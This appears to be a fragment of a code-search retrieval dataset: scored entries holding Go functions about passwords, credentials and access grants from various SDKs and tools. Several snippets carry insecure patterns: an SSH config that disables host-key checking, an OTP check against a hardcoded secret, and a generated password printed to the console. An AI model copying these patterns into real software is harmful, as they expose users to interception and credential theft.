AzureSqlReferenceInputDataSourcePropertiesResponsePtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *AzureSqlReferenceInputDataSourcePropertiesResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "fb2e9c484d594e82113c64d6493194be", "score": "0.489952", "text": "func (target *targetConfig) password() (*ssh.ClientConfig, error) {\r\n\t// Password might be \"\" so can't check len(artifact)\r\n\treturn &ssh.ClientConfig{\r\n\t\tUser: target.User,\r\n\t\tAuth: []ssh.AuthMethod{\r\n\t\t\tssh.Password(target.Auth.Artifact),\r\n\t\t},\r\n HostKeyCallback: ssh.InsecureIgnoreHostKey(),\r\n\t}, nil\r\n}", "title": "" }, { "docid": "51721c7ec504b67ed93a5ddb853c2911", "score": "0.4896277", "text": "func PasswordPrompt(label string, validate func(input string) error) (string, error) {\n\n\tprompt := promptui.Prompt{\n\t\tLabel: label,\n\t\tValidate: validate,\n\t\tMask: '*',\n\t}\n\n\treturn prompt.Run()\n\n}", "title": "" }, { "docid": "8b55e189ce3414d3057c95df41a6146f", "score": "0.4891445", "text": "func (o GoogleAccountResponsePtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *GoogleAccountResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "5804ed8afbe20a6fe87d009428431f08", "score": "0.4880302", "text": "func (m *manager) generateTokenPassword(ctx context.Context, passwordName mgmtcontainerregistry.TokenPasswordName, rp *api.RegistryProfile) (string, error) {\n\tcreds, err := m.registries.GenerateCredentials(ctx, m.r.ResourceGroup, m.r.ResourceName, mgmtcontainerregistry.GenerateCredentialsParameters{\n\t\tTokenID: to.StringPtr(m.env.ACRResourceID() + \"/tokens/\" + rp.Username),\n\t\tName: passwordName,\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// response details from Azure API\n\t// https://learn.microsoft.com/en-us/rest/api/containerregistry/tokens/create?tabs=Go#tokencreate\n\n\tfor _, pw := range *creds.Passwords {\n\t\tif pw.Name == passwordName {\n\t\t\treturn *pw.Value, nil\n\t\t}\n\t}\n\n\treturn *(*creds.Passwords)[0].Value, nil\n}", "title": "" }, { "docid": "d457a827faa1f0bc7f122d64c8a2de80", "score": "0.48735428", "text": "func (s *Server) PasswordAuth(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) {\n\tt, err := pam.StartFunc(\"\", c.User(), func(s pam.Style, msg string) (string, error) {\n\t\tswitch s {\n\t\tcase pam.PromptEchoOff:\n\t\t\treturn string(pass), nil\n\t\t}\n\t\treturn \"\", fmt.Errorf(\"unsupported message style\")\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = t.Authenticate(0)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"authenticate: %s\", err.Error())\n\t}\n\n\treturn &ssh.Permissions{\n\t\tCriticalOptions: map[string]string{\n\t\t\t\"user\": c.User(),\n\t\t},\n\t}, nil\n}", "title": "" }, { "docid": "07ed1006396341c4f5c8b5949c183e2f", "score": "0.48724926", "text": "func (o GroupImageRegistryCredentialOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v GroupImageRegistryCredential) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "539e4755a3b2cbb709347461e47e96ce", "score": "0.48594397", "text": "func (r *jsiiProxy_RepositoryBase) Grant(grantee awsiam.IGrantable, actions ...*string) awsiam.Grant {\n\targs := []interface{}{grantee}\n\tfor _, a := range actions {\n\t\targs = append(args, a)\n\t}\n\n\tvar returns awsiam.Grant\n\n\t_jsii_.Invoke(\n\t\tr,\n\t\t\"grant\",\n\t\targs,\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "2398f0650b9d803804af86e8e1935428", "score": "0.48543918", "text": "func (credential *FederatedIdentityCredential) Owner() *genruntime.ResourceReference {\n\tgroup, kind := genruntime.LookupOwnerGroupKind(credential.Spec)\n\treturn &genruntime.ResourceReference{\n\t\tGroup: group,\n\t\tKind: kind,\n\t\tName: credential.Spec.Owner.Name,\n\t}\n}", "title": "" }, { "docid": "56807828536cc715b9b200097beac062", "score": "0.48500812", "text": "func (o AzureSqlDatabaseOutputDataSourceResponseOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v AzureSqlDatabaseOutputDataSourceResponse) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "4f457375c7a1e4ac857176515a28a551", "score": "0.483743", "text": "func (u *user) grant(ctx context.Context, db Database, access string) error {\n\tescapedDbName := pathEscape(db.Name())\n\treq, err := u.conn.NewRequest(\"PUT\", path.Join(u.relPath(), \"database\", escapedDbName))\n\tif err != nil {\n\t\treturn WithStack(err)\n\t}\n\tinput := struct {\n\t\tGrant string `arangodb:\"grant\" json:\"grant\"`\n\t}{\n\t\tGrant: access,\n\t}\n\tif _, err := req.SetBody(input); err != nil {\n\t\treturn WithStack(err)\n\t}\n\tresp, err := u.conn.Do(ctx, req)\n\tif err != nil {\n\t\treturn WithStack(err)\n\t}\n\tif err := resp.CheckStatus(200); err != nil {\n\t\treturn WithStack(err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "be2fd33c998b7e09af826aae6625088e", "score": "0.48251644", "text": "func (c *tpmManagerBinary) clearOwnerPassword(ctx context.Context) ([]byte, error) {\n\treturn c.call(ctx, \"clear_owner_password\")\n}", "title": "" }, { "docid": "a9789c19a35ec70f9ac3b9d5d12f2435", "score": "0.4822616", "text": "func (s *Action) generateSetPassword(ctx context.Context, name, key, password string, kvps map[string]string, regen bool) (context.Context, error) {\n\t// set a single key in an entry.\n\tif key != \"\" {\n\t\tsec, err := s.Store.Get(ctx, name)\n\t\tif err != nil {\n\t\t\treturn ctx, exit.Error(exit.Encrypt, err, \"failed to set key %q of %q: %s\", key, name, err)\n\t\t}\n\n\t\tsetMetadata(sec, kvps)\n\t\t_ = sec.Set(key, password)\n\t\tif err := s.Store.Set(ctxutil.WithCommitMessage(ctx, \"Generated password for key\"), name, sec); err != nil {\n\t\t\tif !errors.Is(err, store.ErrMeaninglessWrite) {\n\t\t\t\treturn ctx, exit.Error(exit.Encrypt, err, \"failed to set key %q of %q: %s\", key, name, err)\n\t\t\t}\n\t\t\tout.Errorf(ctx, \"Password generation somehow obtained the same password as before: you might want to check your system's entropy pool\")\n\t\t}\n\n\t\treturn ctx, nil\n\t}\n\n\t// replace password in existing secret. we might be asked to skip the\n\t// check to enforce possibly re-evaluating templates.\n\tif !regen && s.Store.Exists(ctx, name) {\n\t\tctx, err := s.generateReplaceExisting(ctx, name, key, password, kvps)\n\t\tif err == nil {\n\t\t\treturn ctx, nil\n\t\t}\n\n\t\tout.Errorf(ctx, \"Failed to read existing secret. Creating anew. Error: %s\", err.Error())\n\t}\n\n\t// generate a completely new secret.\n\tvar sec gopass.Secret\n\tsec = secrets.New()\n\tsec.SetPassword(password)\n\tif u := hasChangeURL(ctx, name); u != \"\" {\n\t\t_ = sec.Set(\"password-change-url\", u)\n\t}\n\n\tif content, found := s.renderTemplate(ctx, name, []byte(password)); found {\n\t\tnSec := secrets.NewAKV()\n\t\tif _, err := nSec.Write(content); err == nil {\n\t\t\tsec = nSec\n\t\t} else {\n\t\t\tdebug.Log(\"failed to handle template: %s\", err)\n\t\t}\n\t}\n\n\tif err := s.Store.Set(ctxutil.WithCommitMessage(ctx, \"Generated Password\"), name, sec); err != nil {\n\t\tif !errors.Is(err, store.ErrMeaninglessWrite) {\n\t\t\treturn ctx, exit.Error(exit.Encrypt, err, \"failed to create %q: %s\", name, err)\n\t\t}\n\t\tout.Errorf(ctx, \"Password generation somehow obtained the same password as before: you might want to check your system's entropy pool\")\n\t}\n\n\treturn ctx, nil\n}", "title": "" }, { "docid": "ffcbbf080abff12caf64167f3bbebd6c", "score": "0.48194236", "text": "func (r *refreshTokenGranter) Grant(_ context.Context, requestedScopes []string) grants.Grant {\n\treturn grants.Grant{\n\t\tSourceType: \"refresh_token\",\n\t\tSourceID: r.token.ID,\n\t\tScopes: requestedScopes,\n\t\tAccountID: r.token.AccountID,\n\t\tProfileID: r.token.ProfileID,\n\t\tClientID: r.token.ClientID,\n\t\tUsed: false,\n\t}\n}", "title": "" }, { "docid": "239a2e06e1b169bf91252372dad0961a", "score": "0.48124534", "text": "func (_TokenStakingEscrow *TokenStakingEscrowCaller) TokenGrant(opts *bind.CallOpts) (common.Address, error) {\n\tvar (\n\t\tret0 = new(common.Address)\n\t)\n\tout := ret0\n\terr := _TokenStakingEscrow.contract.Call(opts, out, \"tokenGrant\")\n\treturn *ret0, err\n}", "title": "" }, { "docid": "b40ab9406bd77369639aa94ebc969d22", "score": "0.48093", "text": "func Password(jsonIn []byte) ([]byte, error) {\n\tvar s password\n\tif err := json.Unmarshal(jsonIn, &s); err != nil {\n\t\treturn jsonStatusError(err)\n\t}\n\n\tif passvault.NumRecords() == 0 {\n\t\treturn jsonStatusError(errors.New(\"Vault is not created yet\"))\n\t}\n\n\t// add signed-in record to active set\n\tif err := passvault.ChangePassword(s.Name, s.Password, s.NewPassword); err != nil {\n\t\tlog.Println(\"Error changing password:\", err)\n\t\treturn jsonStatusError(err)\n\t}\n\n\treturn jsonStatusOk()\n}", "title": "" }, { "docid": "685fcca045f597b2a987940ba8757303", "score": "0.4790631", "text": "func (o AzureSynapseOutputDataSourceOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v AzureSynapseOutputDataSource) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "d8972afdce66b178531d3bcc72dd3e74", "score": "0.47835505", "text": "func (o AliasOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *Alias) pulumi.StringPtrOutput { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "667d8d6142670fa899608475644dea9f", "score": "0.47680044", "text": "func (o BackendProxyOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BackendProxy) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "5f3fa61723d34e57211bd7b9b2d34883", "score": "0.47665158", "text": "func Password(atLeast, atMost int, allowUpper, allowNumeric, allowSpecial bool) string {\n\treturn text(atLeast, atMost, true, allowUpper, allowNumeric, allowSpecial)\n}", "title": "" }, { "docid": "05cc8f0b0ecc1adba0a39c854ddc041c", "score": "0.47603843", "text": "func (o GoogleAccountPtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *GoogleAccount) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "05cc8f0b0ecc1adba0a39c854ddc041c", "score": "0.47603843", "text": "func (o GoogleAccountPtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *GoogleAccount) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "77a121d898bb21690a3f99f0ca470b66", "score": "0.47597906", "text": "func (o DatabaseReplicaOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *DatabaseReplica) pulumi.StringOutput { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "6dc2130fd854c27933a31754e1e511a2", "score": "0.475715", "text": "func (r *jsiiProxy_Repository) Grant(grantee awsiam.IGrantable, actions ...*string) awsiam.Grant {\n\targs := []interface{}{grantee}\n\tfor _, a := range actions {\n\t\targs = append(args, a)\n\t}\n\n\tvar returns awsiam.Grant\n\n\t_jsii_.Invoke(\n\t\tr,\n\t\t\"grant\",\n\t\targs,\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "69af7cc04a95ceb27e968a3cbfaa6421", "score": "0.47547337", "text": "func (b *OAuthFlowsMutator) Password(v OAuthFlow) *OAuthFlowsMutator {\n\tb.proxy.password = v\n\treturn b\n}", "title": "" }, { "docid": "9a7e85a80c2af28a0fe1722c6dd1c7ce", "score": "0.47414014", "text": "func (o AzureSqlReferenceInputDataSourcePropertiesPtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *AzureSqlReferenceInputDataSourceProperties) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "ae48c5fea1229b7b82971fdfca83a4ee", "score": "0.47233462", "text": "func (client ApplicationsClient) ListPasswordCredentialsPreparer(ctx context.Context, applicationObjectID string) (*http.Request, error) {\n\tpathParameters := map[string]interface{}{\n\t\t\"applicationObjectId\": autorest.Encode(\"path\", applicationObjectID),\n\t\t\"tenantID\": autorest.Encode(\"path\", client.TenantID),\n\t}\n\n\tconst APIVersion = \"1.6\"\n\tqueryParameters := map[string]interface{}{\n\t\t\"api-version\": APIVersion,\n\t}\n\n\tpreparer := autorest.CreatePreparer(\n\t\tautorest.AsGet(),\n\t\tautorest.WithBaseURL(client.BaseURI),\n\t\tautorest.WithPathParameters(\"/{tenantID}/applications/{applicationObjectId}/passwordCredentials\", pathParameters),\n\t\tautorest.WithQueryParameters(queryParameters))\n\treturn preparer.Prepare((&http.Request{}).WithContext(ctx))\n}", "title": "" }, { "docid": "06eb902ef0d6f155a8185f088489e9ef", "score": "0.47187582", "text": "func (s *Action) generatePassword(ctx context.Context, c *cli.Context, length, name string) (string, error) {\n\tif domain, rule := hasPwRuleForSecret(ctx, name); domain != \"\" && !c.Bool(\"force\") {\n\t\treturn s.generatePasswordForRule(ctx, c, length, name, domain, rule)\n\t}\n\n\tcfg := config.FromContext(ctx)\n\tsymbols := false\n\tif c.IsSet(\"symbols\") {\n\t\tsymbols = c.Bool(\"symbols\")\n\t} else {\n\t\tif cfg.IsSet(\"generate.symbols\") {\n\t\t\tsymbols = cfg.GetBool(\"generate.symbols\")\n\t\t}\n\t}\n\n\tgenerator := cfg.Get(\"generate.generator\")\n\tif c.IsSet(\"generator\") {\n\t\tgenerator = c.String(\"generator\")\n\t}\n\n\tif generator == \"xkcd\" {\n\t\treturn s.generatePasswordXKCD(ctx, c, length)\n\t}\n\n\tvar pwlen int\n\tif length == \"\" {\n\t\tpwlength, err := getPwLengthFromEnvOrAskUser(ctx)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tpwlen = pwlength\n\t} else {\n\t\tiv, err := strconv.Atoi(length)\n\t\tif err != nil {\n\t\t\treturn \"\", exit.Error(exit.Usage, err, \"password length must be a number\")\n\t\t}\n\t\tpwlen = iv\n\t}\n\n\tif pwlen < 1 {\n\t\treturn \"\", exit.Error(exit.Usage, nil, \"password length must not be zero\")\n\t}\n\n\tswitch generator {\n\tcase \"memorable\":\n\t\tif c.Bool(\"strict\") {\n\t\t\treturn pwgen.GenerateMemorablePassword(pwlen, symbols, true), nil\n\t\t}\n\n\t\treturn pwgen.GenerateMemorablePassword(pwlen, symbols, false), nil\n\tcase \"external\":\n\t\treturn pwgen.GenerateExternal(pwlen)\n\tdefault:\n\t\tif c.Bool(\"strict\") {\n\t\t\treturn pwgen.GeneratePasswordWithAllClasses(pwlen, symbols)\n\t\t}\n\n\t\treturn pwgen.GeneratePassword(pwlen, symbols), nil\n\t}\n}", "title": "" }, { "docid": "51ce6b0c4e6c5dea95bfaad81f66f0c1", "score": "0.47166783", "text": "func (o CustomAccountResponsePtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *CustomAccountResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "782b6835f02ce5fe091a6dcc6b8d52da", "score": "0.47047284", "text": "func (k *Kerberos) Grant(encTGT, appID, encAuthenticator string) (*KerberosGrantResult, error) {\n\ttgt := &kerberosTGT{}\n\tif err := k.decrypt(encTGT, k.tgsSecretKey, tgt); err != nil {\n\t\treturn nil, errTGTInvalid\n\t}\n\tif tgt.Expired < time.Now().Unix() {\n\t\treturn nil, errTGTInvalid\n\t}\n\tauthenticator := &kerberosAuthenticator{}\n\tif err := k.decrypt(encAuthenticator, tgt.CTSK, authenticator); err != nil {\n\t\treturn nil, errAuthenticatorInvalid\n\t}\n\n\tvar appSecret string\n\tif appID == \"cell\" {\n\t\tappSecret = k.appSecretKey\n\t} else {\n\t\terr := k.db.QueryRowContext(\n\t\t\tdbCtx(),\n\t\t\t\"SELECT `secret` FROM `app` WHERE `app_id`=? LIMIT 1\",\n\t\t\tappID,\n\t\t).Scan(&appSecret)\n\t\tswitch {\n\t\tcase err == sql.ErrNoRows:\n\t\t\treturn nil, errAppNotExist\n\t\tcase err != nil:\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\tst := &kerberosServiceTicket{\n\t\tCSSK: RandToken(),\n\t\tUsername: authenticator.Username,\n\t\tExpired: time.Now().Add(2 * time.Hour).Unix(),\n\t}\n\n\tencCSSK := k.encrypt(st.CSSK, tgt.CTSK)\n\tencST := k.encrypt(st, appSecret)\n\n\tres := &KerberosGrantResult{\n\t\tencCSSK,\n\t\tencST,\n\t}\n\treturn res, nil\n}", "title": "" }, { "docid": "031c739dca4f7cc4d33b4d3b0ad81c23", "score": "0.47024336", "text": "func buildPolicyRulePassword(d *schema.ResourceData) sdk.PolicyRule {\n\ttemplate := sdk.PasswordPolicyRule()\n\ttemplate.Name = d.Get(\"name\").(string)\n\ttemplate.Status = d.Get(\"status\").(string)\n\tif priority, ok := d.GetOk(\"priority\"); ok {\n\t\ttemplate.Priority = int64(priority.(int))\n\t}\n\ttemplate.Conditions = &okta.PolicyRuleConditions{\n\t\tNetwork: buildPolicyNetworkCondition(d),\n\t\tPeople: getUsers(d),\n\t}\n\ttemplate.Actions = sdk.PolicyRuleActions{\n\t\tPasswordPolicyRuleActions: &okta.PasswordPolicyRuleActions{\n\t\t\tPasswordChange: &okta.PasswordPolicyRuleAction{\n\t\t\t\tAccess: d.Get(\"password_change\").(string),\n\t\t\t},\n\t\t\tSelfServicePasswordReset: &okta.PasswordPolicyRuleAction{\n\t\t\t\tAccess: d.Get(\"password_reset\").(string),\n\t\t\t},\n\t\t\tSelfServiceUnlock: &okta.PasswordPolicyRuleAction{\n\t\t\t\tAccess: d.Get(\"password_unlock\").(string),\n\t\t\t},\n\t\t},\n\t}\n\treturn template\n}", "title": "" }, { "docid": "371ac54f7eb2e92373d6f4e4508fb511", "score": "0.47017857", "text": "func (o ConnectionCloudSqlCredentialOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ConnectionCloudSqlCredential) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9c143f9466067c0c92d87ec0f88b1f21", "score": "0.46953735", "text": "func Password() string {\n\treturn Token(8)\n}", "title": "" }, { "docid": "8ac798f75e40e9d1ed35241486c2b33c", "score": "0.4685662", "text": "func (m *AddPasswordPostRequestBody) SetPasswordCredential(value iadcd81124412c61e647227ecfc4449d8bba17de0380ddda76f641a29edf2b242.PasswordCredentialable)() {\n m.passwordCredential = value\n}", "title": "" }, { "docid": "c243a7d38b164d05ce9c2c459402418c", "score": "0.46856424", "text": "func PerRPCPassword(password string) grpc.DialOption {\n\treturn grpc.WithPerRPCCredentials(&loginCreds{\n\t\tPassword: password,\n\t})\n}", "title": "" }, { "docid": "ebf22100572e27c0f25d57d3410dfbfb", "score": "0.46807522", "text": "func (o UserOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *User) pulumi.StringPtrOutput { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "ebf22100572e27c0f25d57d3410dfbfb", "score": "0.46807522", "text": "func (o UserOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *User) pulumi.StringPtrOutput { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "03058d78fc58234903c0c8d7c3d267db", "score": "0.46770382", "text": "func (o *ReaderOptions) Password() string {\n\tif o.password != \"\" {\n\t\treturn o.password\n\t}\n\tif o.cb != nil {\n\t\to.password = o.cb()\n\t}\n\treturn o.password\n}", "title": "" }, { "docid": "5a884032df6fad5c6576240de4d3039a", "score": "0.4676961", "text": "func (cli *CliPrompter) Password(pr string) string {\n\tval := \"\"\n\tprompt := &survey.Password{\n\t\tMessage: pr,\n\t}\n\t_ = survey.AskOne(prompt, &val)\n\treturn val\n}", "title": "" }, { "docid": "a54224dbe54aff26ae286939774223c6", "score": "0.46714613", "text": "func (client ApplicationsClient) UpdatePasswordCredentialsPreparer(ctx context.Context, applicationObjectID string, parameters PasswordCredentialsUpdateParameters) (*http.Request, error) {\n\tpathParameters := map[string]interface{}{\n\t\t\"applicationObjectId\": autorest.Encode(\"path\", applicationObjectID),\n\t\t\"tenantID\": autorest.Encode(\"path\", client.TenantID),\n\t}\n\n\tconst APIVersion = \"1.6\"\n\tqueryParameters := map[string]interface{}{\n\t\t\"api-version\": APIVersion,\n\t}\n\n\tpreparer := autorest.CreatePreparer(\n\t\tautorest.AsContentType(\"application/json; charset=utf-8\"),\n\t\tautorest.AsPatch(),\n\t\tautorest.WithBaseURL(client.BaseURI),\n\t\tautorest.WithPathParameters(\"/{tenantID}/applications/{applicationObjectId}/passwordCredentials\", pathParameters),\n\t\tautorest.WithJSON(parameters),\n\t\tautorest.WithQueryParameters(queryParameters))\n\treturn preparer.Prepare((&http.Request{}).WithContext(ctx))\n}", "title": "" }, { "docid": "cee8e080109b2c1ff37c15ccaf1ec871", "score": "0.46678767", "text": "func Password(toMask string) string {\n\treturn PasswordWith(toMask, \"${1}****\")\n}", "title": "" }, { "docid": "a8031ab238355a3c939c345ee77bc06a", "score": "0.46658838", "text": "func (*UserPassword) Descriptor() ([]byte, []int) {\n\treturn file_Auth_Auth_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "9550db31d6cd30b1a97cfc211271a63b", "score": "0.46652436", "text": "func (o CustomAccountResponseOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CustomAccountResponse) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9550db31d6cd30b1a97cfc211271a63b", "score": "0.46652436", "text": "func (o CustomAccountResponseOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CustomAccountResponse) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "0d45d56f08ea6441f06c52249de02b61", "score": "0.4658606", "text": "func (ac *AuthController) AcceptablePassword(pass string) bool {\n\treturn len(pass) >= 10\n}", "title": "" }, { "docid": "fc05cefaec83a670ba1724795e34a6e8", "score": "0.46560073", "text": "func generatePassword(a *app.App) error {\r\n\tr := make([]byte, 16)\r\n\t_, err := rand.Read(r)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\ts := base64.RawStdEncoding.EncodeToString(r)\r\n\thash, err := bcrypt.GenerateFromPassword([]byte(s), bcrypt.DefaultCost)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\terr = a.DB.Update(func(tx *bolt.Tx) error {\r\n\t\tb := tx.Bucket([]byte(\"settings\"))\r\n\t\treturn b.Put([]byte(\"password-hash\"), hash)\r\n\t})\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tfmt.Println(\"New password: \" + s)\r\n\treturn nil\r\n}", "title": "" }, { "docid": "e24cbffc2f9e9dd1a28a0e4e10beaa59", "score": "0.4649967", "text": "func (r *jsiiProxy_RepositoryBase) GrantPull(grantee awsiam.IGrantable) awsiam.Grant {\n\tvar returns awsiam.Grant\n\n\t_jsii_.Invoke(\n\t\tr,\n\t\t\"grantPull\",\n\t\t[]interface{}{grantee},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "1da3ac00be09011f24c3a550ffcdc6e7", "score": "0.4649699", "text": "func (m *AddPasswordPostRequestBody) GetPasswordCredential()(iadcd81124412c61e647227ecfc4449d8bba17de0380ddda76f641a29edf2b242.PasswordCredentialable) {\n return m.passwordCredential\n}", "title": "" }, { "docid": "8659edac70991b3f3f07993411b8662a", "score": "0.46419936", "text": "func runPassword(cmd *cobra.Command, args []string) {\n\tc := utils.GetClient()\n\tvar username string\n\n\tif len(args) == 1 {\n\t\tusername = args[0]\n\t}\n\n\tif flagPassWord != \"\" {\n\t\terr := c.Security.SetPasswordForUser(username, flagPassWord)\n\t\tif err != nil {\n\t\t\tjww.DEBUG.Println(err)\n\t\t\tjww.ERROR.Panicln(\"user add: unable to set password for user\")\n\t\t}\n\t}\n\tjww.FEEDBACK.Printf(\"password set for user %s \\n\", username)\n\n}", "title": "" }, { "docid": "2eb6323928ff4365d1d5b88748e1cff9", "score": "0.46320978", "text": "func NewPassword(w http.ResponseWriter, r *http.Request) {\n\tbody, err := ioutil.ReadAll(r.Body)\n\tvar fPass models.Password\n\terr = json.Unmarshal(body, &fPass)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tpassword := fPass.Password\n\temail := fPass.Email\n\totp := fPass.Otp\n\n\t// 1. Check email\n\tusers := auth.EmailPassword(fPass.Email)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tconform := security.Validate(otp, \"sakldgofsagofiusahf\")\n\tfmt.Println(users)\n\tfmt.Println(conform)\n\tif users == true && conform == true {\n\t\tuser := auth.SetPassword(email, password)\n\t\tfmt.Println(user)\n\t\tfmt.Println(\"Password update\")\n\t}\n\n\t// user := models.User{}\n\n\tresponses.JSON(w, http.StatusOK, conform)\n}", "title": "" }, { "docid": "9c255a456dde874d2b1f2b763bb76e97", "score": "0.46291056", "text": "func NewPassword(c echo.Context) error {\n\n\t// get path param\n\ttoken := c.QueryParam(\"token\")\n\n\tif token == \"\" {\n\t\treturn c.JSON(http.StatusNotFound, map[string]string{\n\t\t\t\"verbose_msg\": \"You provided an empty token!\"})\n\t}\n\n\tu := c.Get(\"user\").(*jwt.Token)\n\tclaims := u.Claims.(*middleware.CustomClaims)\n\ttokenType := claims.Purpose\n\tif tokenType != \"reset-password\" {\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\n\t\t\t\"verbose_msg\": \"You provided an invalid token type!\"})\n\t}\n\n\tusr, err := user.GetByUsername(claims.Username)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusNotFound, map[string]string{\n\t\t\t\"verbose_msg\": \"Username does not exist !\"})\n\t}\n\n\t// Read the json body\n\tb, err := ioutil.ReadAll(c.Request().Body)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, err.Error())\n\t}\n\n\t// Verify length\n\tif len(b) == 0 {\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\n\t\t\t\"verbose_msg\": \"You have sent an empty json\"})\n\t}\n\n\t// Validate JSON\n\tl := gojsonschema.NewBytesLoader(b)\n\tresult, err := app.ResetPasswordSchema.Validate(l)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, err.Error())\n\t}\n\tif !result.Valid() {\n\t\tmsg := \"\"\n\t\tfor _, desc := range result.Errors() {\n\t\t\tmsg += fmt.Sprintf(\"%s, \", desc.Description())\n\t\t}\n\t\tmsg = strings.TrimSuffix(msg, \", \")\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\n\t\t\t\"verbose_msg\": msg})\n\t}\n\n\t// Bind it to our User instance.\n\tvar jsonPassword map[string]interface{}\n\terr = json.Unmarshal(b, &jsonPassword)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, err.Error())\n\t}\n\tnewPassword := jsonPassword[\"password\"].(string)\n\tusr.UpdatePassword(newPassword)\n\n\treturn c.JSON(http.StatusOK, map[string]string{\n\t\t\"verbose_msg\": \"ok\",\n\t})\n}", "title": "" }, { "docid": "845972a4338053bc463d0065ef21e8f4", "score": "0.46237063", "text": "func (o AzureSqlDatabaseOutputDataSourceOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v AzureSqlDatabaseOutputDataSource) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "9a686d9cf9fbaee3e2481c56c85a346c", "score": "0.46011782", "text": "func (o ConnectionCloudSqlCredentialPtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *ConnectionCloudSqlCredential) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "c7e0912157378b1de0ee86ae8a756935", "score": "0.45936397", "text": "func (r *jsiiProxy_Repository) GrantPull(grantee awsiam.IGrantable) awsiam.Grant {\n\tvar returns awsiam.Grant\n\n\t_jsii_.Invoke(\n\t\tr,\n\t\t\"grantPull\",\n\t\t[]interface{}{grantee},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "22cb61aaaad32aad7804dd392ca8b830", "score": "0.45904082", "text": "func (ar *Router) RegisterWithPassword() http.HandlerFunc {\n\n\ttype registrationData struct {\n\t\tUsername string `json:\"username,omitempty\" validate:\"required,gte=6,lte=50\"`\n\t\tPassword string `json:\"password,omitempty\" validate:\"required,gte=7,lte=50\"`\n\t\tProfile map[string]interface{} `json:\"user_profile,omitempty\"`\n\t\tScope []string 